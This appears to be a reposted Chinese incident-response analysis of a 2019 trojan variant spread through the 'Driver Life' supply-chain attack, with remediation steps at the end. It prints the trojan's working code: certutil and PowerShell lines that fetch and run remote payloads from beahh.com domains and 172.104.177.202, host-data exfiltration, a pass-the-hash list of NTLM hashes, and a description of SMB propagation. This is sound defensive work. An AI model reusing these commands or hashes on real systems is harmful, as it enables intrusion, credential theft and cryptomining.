【应急响应】驱动人生供应链木马攻击2019.1.30变种木马分析
360安全大腦監(jiān)測到通過”驅(qū)動(dòng)人生”供應(yīng)鏈攻擊傳播的挖礦木馬在1月30日下午4時(shí)左右再次更新……
0x00 事件背景
360安全大腦監(jiān)測到通過”驅(qū)動(dòng)人生”供應(yīng)鏈攻擊傳播的挖礦木馬在1月30日下午4時(shí)左右再次更新。此次更新中,木馬在此前抓取系統(tǒng)帳戶密碼的基礎(chǔ)上增加了抓取密碼hash值的功能,并試圖通過pass the hash攻擊進(jìn)行橫向滲透,使得該木馬的傳播能力進(jìn)一步加強(qiáng),即使是有高強(qiáng)度口令的機(jī)器也有可能被攻陷。
pass the hash也稱作哈希傳遞攻擊,攻擊者可以直接通過密碼的哈希值訪問遠(yuǎn)程主機(jī)或服務(wù),而不用提供明文密碼。攻擊者使用pass the hash技術(shù)嘗試在系統(tǒng)登錄密碼非弱口令并且無法抓取登錄密碼的情況下進(jìn)行橫向攻擊,增加攻擊成功率。
0x01 分析研討
由于木馬是樣本都是不落地的方式,核心技術(shù)是通過定時(shí)計(jì)劃任務(wù)執(zhí)行powershell代碼達(dá)到持續(xù)控制的目的,因此最先分析powershell代碼,了解它做了哪些動(dòng)作,指定查殺手段。
PS:樣本代碼過長,遂使用圖片截圖
0x02 分析過程
解密第一層
病毒樣本:
第一個(gè)動(dòng)作,創(chuàng)建一個(gè)名為Certificate的任務(wù)計(jì)劃,在七點(diǎn)開始,每隔一小時(shí)執(zhí)行一次以下命令:
cmd.exe /c (cd %temp%&certutil -urlcache -split -f http://cert.beahh.com/cert.php?ver1=%COMPUTERNAME% v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)由于目前cert.beahh.com已經(jīng)無法訪問,所以進(jìn)行下一個(gè)powershell分析環(huán)節(jié)。
首先,powershell -nop -w hidden -ep bypass -e?后接著就是base64編碼的powershell代碼,并且以Bypass作為當(dāng)前執(zhí)行策略。
Windows中的powershell執(zhí)行策略:
PS C:\Users\Rvn0xsy> Get-ExecutionPolicy -ListScope ExecutionPolicy----- --------------- MachinePolicy UndefinedUserPolicy UndefinedProcess UndefinedCurrentUser UndefinedLocalMachine Bypass將后面的base64解密后:
得到如下代碼:
while($true) { [System.Threading.Thread]::Sleep(200000); [string]$m = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC) $q = [System.Net.WebRequest]::Create("http://new.beahh.com/startup.php?ver=1&mac="+$m+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture).GetResponse().GetResponseStream(); $r = (new-object System.IO.StreamReader $q).ReadToEnd() -replace "##"; $c = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($r)); iex $c; [System.Threading.Thread]::Sleep(1000000); }外部是一個(gè)循環(huán),將Sleep去除后,可以看到調(diào)用了Invoke-Expression,Invoke-Expression是一個(gè)能將變量的內(nèi)容當(dāng)作powershell表達(dá)式執(zhí)行的函數(shù)。
而iex只是Invoke-Expression的別名。
下面簡單演示幾個(gè)例子:
PS C:\Users\Rvn0xsy> iex "Write-Host Rvn0xsy" Rvn0xsy PS C:\Users\Rvn0xsy> Write-Host Rvn0xsy Rvn0xsy PS C:\Users\Rvn0xsy> Invoke-Expression "Write-Host Rvn0xsy" Rvn0xsy PS C:\Users\Rvn0xsy>將上述的木馬腳本中iex替換成Write-Host即可:
while($true) {[string]$m = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC) $q = [System.Net.WebRequest]::Create("http://new.beahh.com/startup.php?ver=1&mac="+$m+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture).GetResponse().GetResponseStream(); $r = (new-object System.IO.StreamReader $q).ReadToEnd() -replace "##"; $c = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($r)); Write-Host $c; }在這里我們使用Windows 10自帶的Windows Powershell ISE腳本調(diào)試器來進(jìn)行后續(xù)的分析。
解密第二層
很明顯,我們看到有Invoke-Expression,直接將Invoke-Expression改為Write-Host進(jìn)行調(diào)試。
解密第三層
現(xiàn)在獲得的代碼可讀性變得非常低了,但是還是有一定規(guī)律可循。
在第83行,有一個(gè)大小寫混合的Invoke-Expression:
并且Invoke-Expression做左邊還有一個(gè)管道符,直接將代碼改為| Out-File .\tmp.log?,把結(jié)果輸出到tmp.log文件中。
解密第四層
第四次好像混淆的更加厲害來,但是不影響我們的分析,先看首行:
. ( $EnV:CoMsPec[4,26,25]-JoIN'')((('[string]3CHav = U'+'ABUAB[string]....其中它是以. (表達(dá)式)(表達(dá)式)來執(zhí)行的,于是我想到了另外一種函數(shù)調(diào)用的可能:
PS C:\Users\Rvn0xsy> . Write-Host "Rvn0xsy" Rvn0xsy PS C:\Users\Rvn0xsy>這樣也能執(zhí)行,所以我判斷?. ( $EnV:CoMsPec[4,26,25]-JoIN'')就是iex或者Invoke-Expression,我將?. ( $EnV:CoMsPec[4,26,25]-JoIN'')改為Write-Host直接執(zhí)行:
最終獲得了未混淆的代碼。
然后,為了驗(yàn)證我的猜想,我把代碼進(jìn)行更改,獲得了Iex:
. ( $EnV:CoMsPec[4,26,25]-JoIN'')?=?Iex
0x03 行為分析
[string]$av = ""[string]$avs = ""[string]$mac = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)$avs = (Get-WmiObject -Namesp ace root\SecurityCenter2 -Class AntiVirusProduct).displayNameif($avs.GetType().name.IndexOf('Object') -gt -1){for($v = 0; $v -lt $avs.Count; $v++){$av += $avs[$v] + "|"}}else{$av = $avs}try{if((Get-Service zhudongfangyu | Sort -Property Status).Status -eq "Running"){$av += 'ZDFY'}}catch{}#[System.Threading.Thread]::Sleep((Get-Random -Minimum 10000 -Maximum100000))$path = "$env:temp\\ppp.log"[string]$flag = test-path $path$key = "&mac="+$mac+"&av="+$av+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObj ect Win32_OperatingSystem).OSArchitecture + "&flag2=" + $flag + "&domain=" + (Get-WmiObject win32_computersystem).Domain + "&user=" + $env:USERNAMEtry{$file = "$env:appdata\\Micro soft\\cred.ps1"$size = (Get-ChildItem $file -recurse | Measure-Object -property length -sum).sum$file2 = "$env:ALLUSERSPROFILE\\Microsoft\\cred.ps1"$size2 = (Get-ChildItem $file2 -recurse | Measure-Object -property length -sum).sum if(($size -ne 50731) -and ($size2 -ne 50731)){try{$url = 'http://172.104.177.202/new.dat?xl' + $key(New-Object System.N et.WebClient).DownloadFile($url,"$file")}catch{}&cmd.exe /c schtasks /create /sc MINUTE /mo 60 /st 07:00:00 /tn Credentials /tr "powershell -nop -w hidden -ep bypass -f %appdata%\ Microsoft\cred.ps1" /F}}catch{}[System.Threading.Thread]::Sleep(3000)Stop-Process -Force -processname powershell大致意思就是收集本機(jī)的操作系統(tǒng)版本、用戶名、MAC地址、殺毒軟件寫入當(dāng)前環(huán)境變量的temp\ppp.log中。
一般是C:\Users\<USERNAME>\AppData\Local\Temp\ppp.log
然后下載新的powershell文件,到C:\Users\<USERNAME>\AppData\Roaming\Microsoft\cred.ps1中。
下載的URL是:http://172.104.177.202/new.dat?xl
目前ti上未打標(biāo)簽。
再次經(jīng)過N層解密后,得到如下代碼:
大約6000多行
腳本的功能:
1.獲得當(dāng)前用戶Hash,讀取注冊表
2.獲得當(dāng)前系統(tǒng)版本、MAC地址、當(dāng)前系統(tǒng)所有用戶、反病毒軟件,尤其是360 Zhudongfangyu服務(wù)
3.端口掃描,全量1-65535、445、139都會(huì)掃描
4.依賴于445 SMB服務(wù)進(jìn)行傳播
其中,常用的Hash和用戶名:
[string[]]$global:alluser = @("administrator","admin")[string[]]$global:allpass = @("32ed87bdb5fdc5e9cba88547376818d4","8846f7eaee8fb117ad06bdd830b7586c","7b592e4f8178b4c75788531b2e747687","3fa45a060bd2693ae4c05b601d05ca0c","69943c5e63b4d2c104dbbcc15138b72b","588feb889288fb953b5f094d47d1565c","3dbde697d71690a769204beb12283678","df54de3f3438343202c1dd523d0265be","7ce21f17c0aee7fb9ceba532d0546ad6","2d7f1a5a61d3a96fb5159b5eef17adc6","6103d9d963c57275dd3533674708e7be","579110c49145015c47ecd267657d3174","af27efb60c7b238910efe2a7e0676a39","259745cb123a52aa2e693aaacca2db52","4057b60b514c5402dde3d29a1845c366","e8cd0e4a9e89eab931dc5338fcbec54a","f1351ac828428d74f6da2968089fc91f","b5fe2db507cc5ac540493d48fbd5fe33","12bdea0a1cb9486c067deaa851ac1609","f9e37e83b83c47a93c2f09f66408631b","b23a90d0aad9da3615fafc27a1b8baeb","a333f09e72c683f0205049d0db8b81fb","ad70819c5bc807280974d80f45982011","2d20d252a479f485cdf5e171d93985bf","0b6549421b2e7333e0e281f3ba5eea94","209c6174da490caeb422f3fa5a7ae634","a80c9cc3f8439ada25af064a874efe2d","22315d6ed1a7d5f8a7c98c40e9fa2dec","b963c57010f218edc2cc3c229b5e4d0f","96880159e785de5314803b1169768900","8ec60adea316d957d1cf532c5841758d","c22b315c040ae6e0efee3518d830362b","7a21990fcd3d759941e45c490f143d5f","328727b81ca05805a68ef26acb252039","31c72c210ecc03d1eae94fa496069448","209c6174da490caeb422f3fa5a7ae634","674e48b68c5cd0efd8f7e5faa87b3d1e","31fc0dc8f7dfad0e8bd7ccc3842f2ce9","579110c49145015c47ecd267657d3174","f2477a144dff4f216ab81f2ac3e3207d","62b26c13b70e7d5a9724710a41e63688","5835048ce94ad0564e29a924a03510ef","7773c08920232397cae081704964b786","a4141712f19e9dd5adf16919bb38a95c","b3ec3e03e2a202cbd54fd104b8504fef","f9e37e83b83c47a93c2f09f66408631b","162e829be112225fedf856e38e1c65fe","f67f5e3f66efd7298be6acd32eeeb27c")SMB服務(wù)傳播代碼:
會(huì)上傳啟動(dòng)項(xiàng):\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.bat
這個(gè)run.bat就是我拿到的種子了。
該木馬涵蓋了Windows SMB客戶端的所有代碼,以及哈希傳遞技術(shù)的所有功能。
代碼有很多都是采用了Invoke-SMBClient。
優(yōu)先感染子網(wǎng):
10. 172. 192.168.其中在開始橫向傳播之前,它還會(huì)下載一個(gè)powershell代碼:
其中在開始橫向傳播之前,它還會(huì)下載一個(gè)powershell代碼:
但是目前這個(gè)域名已經(jīng)無法訪問,無法繼續(xù)進(jìn)行跟進(jìn)。
http://p.beahh.com/upgrade.php?ver=1&mac=
其中在$bytebase64中發(fā)現(xiàn)了run.bat的代碼:
0x04 預(yù)警與排查方案
- 1.開啟Windows防火墻、關(guān)閉445端口。
- 2.防火墻禁止向172.104.177.202建立連接。
- 3.防火墻禁止與*.beahh.com域名的解析。
- 4.更改操作系統(tǒng)賬號(hào)密碼。
- 5.刪除Certificate任務(wù)計(jì)劃。
- 6.刪除Credentials任務(wù)計(jì)劃。
- 7.刪除啟動(dòng)項(xiàng)\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.bat。
- 8.刪除%appdata%\Microsoft\cred.ps1。
最主要就是禁止與172.104.177.202進(jìn)行通信。
下載器樣本:https://payloads.online/scripts/2019-02-23-downloader.txt
木馬本體(解密后):https://payloads.online/scripts/2019-02-23-res.txt
轉(zhuǎn)自:https://payloads.online/archivers/2019-02-23/1
總結(jié)
以上是生活随笔為你收集整理的【应急响应】驱动人生供应链木马攻击2019.1.30变种木马分析的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 京东口罩到货,邮件实时通知
- 下一篇: html中字的属性设置,html怎么设置